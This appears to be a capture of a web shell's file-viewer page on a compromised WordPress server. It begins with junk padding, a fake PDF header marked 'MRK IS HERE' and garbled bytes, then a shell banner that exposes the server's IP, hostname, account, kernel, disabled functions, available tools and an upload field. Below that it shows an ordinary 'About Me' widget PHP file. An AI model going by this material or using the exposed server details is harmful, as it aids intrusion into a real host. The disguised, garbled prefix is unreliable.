...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 65.108.66.160 / Your IP : 216.73.217.50 Web Server : Apache System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64 User : alasaweborg ( 1047) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/alasaweborg/www/wp-content/plugins/template-core/widgets/ |
Upload File : |
<?php
class Tpath_About_Widget extends WP_Widget {
function __construct()
{
/* Widget settings. */
$widget_options = array('classname' => 'tpath_about_widget', 'description' => 'Widget that displays an About widget.');
$control_options = array('id_base' => 'tpath_about-widget');
/* Create the widget. */
parent::__construct('tpath_about-widget', 'About Me', $widget_options, $control_options);
}
function widget($args, $instance)
{
extract($args);
$author_name = $instance['author_name'];
$image = $instance['image'];
$description = $instance['description'];
$title = apply_filters( 'widget_title', empty( $instance['title'] ) ? esc_html__( 'About Me', 'TemplateCore' ) : $instance['title'] );
echo $before_widget;
if($title) {
echo $before_title . $title . $after_title;
} ?>
<div class="tpath-about-widget-inner">
<?php if( isset( $author_name ) && $author_name != '' ) { ?>
<h5 class="widget-author-name text-uppercase"><?php echo esc_html( $author_name ); ?></h5>
<?php } ?>
<?php if( isset( $image ) && $image != '' ) { ?>
<div class="widget-author-image">
<img class="img-responsive alignleft" src="<?php echo esc_url( $image ); ?>" alt="<?php echo esc_html( $author_name ); ?>" />
</div>
<?php } ?>
<?php if( isset( $description ) && $description != '' ) { ?>
<div class="about-desc"><?php echo wp_kses_post( $description ); ?></div>
<?php } ?>
</div>
<?php echo $after_widget;
}
function update($new_instance, $old_instance)
{
$instance = $old_instance;
$instance['title'] = $new_instance['title'];
$instance['author_name'] = $new_instance['author_name'];
$instance['image'] = $new_instance['image'];
$instance['description'] = $new_instance['description'];
return $instance;
}
function form($instance)
{
$defaults = array('title' => '', 'author_name' => '', 'image' => '', 'description' => '');
$instance = wp_parse_args((array) $instance, $defaults);
$description = esc_textarea( $instance['description'] ); ?>
<p>
<label for="<?php echo esc_attr( $this->get_field_id('title') ); ?>"><?php esc_html_e('Title:', 'TemplateCore'); ?></label>
<input class="widefat" type="text" id="<?php echo esc_attr( $this->get_field_id('title') ); ?>" name="<?php echo esc_attr( $this->get_field_name('title') ); ?>" value="<?php echo esc_attr( $instance['title'] ); ?>" />
</p>
<p>
<label for="<?php echo esc_attr( $this->get_field_id('author_name') ); ?>"><?php esc_html_e('Author Name:', 'TemplateCore'); ?></label>
<input class="widefat" type="text" id="<?php echo esc_attr( $this->get_field_id('author_name') ); ?>" name="<?php echo esc_attr( $this->get_field_name('author_name') ); ?>" value="<?php echo esc_attr( $instance['author_name'] ); ?>" />
</p>
<p>
<label for="<?php echo esc_attr( $this->get_field_id('image') ); ?>"><?php esc_html_e('Image URL:', 'TemplateCore'); ?></label>
<input class="widefat" type="text" id="<?php echo esc_attr( $this->get_field_id('image') ); ?>" name="<?php echo esc_attr( $this->get_field_name('image') ); ?>" value="<?php echo esc_attr( $instance['image'] ); ?>" />
</p>
<p>
<label for="<?php echo esc_attr( $this->get_field_id('description') ); ?>"><?php esc_html_e('Description:', 'TemplateCore'); ?></label>
<textarea class="widefat" rows="10" cols="20" id="<?php echo esc_attr( $this->get_field_id('description') ); ?>" name="<?php echo esc_attr( $this->get_field_name('description') ); ?>"><?php echo esc_attr( $description ); ?></textarea>
</p>
<?php }
}
function tpath_about_widget_load()
{
register_widget('Tpath_About_Widget');
}
add_action('widgets_init', 'tpath_about_widget_load');
?>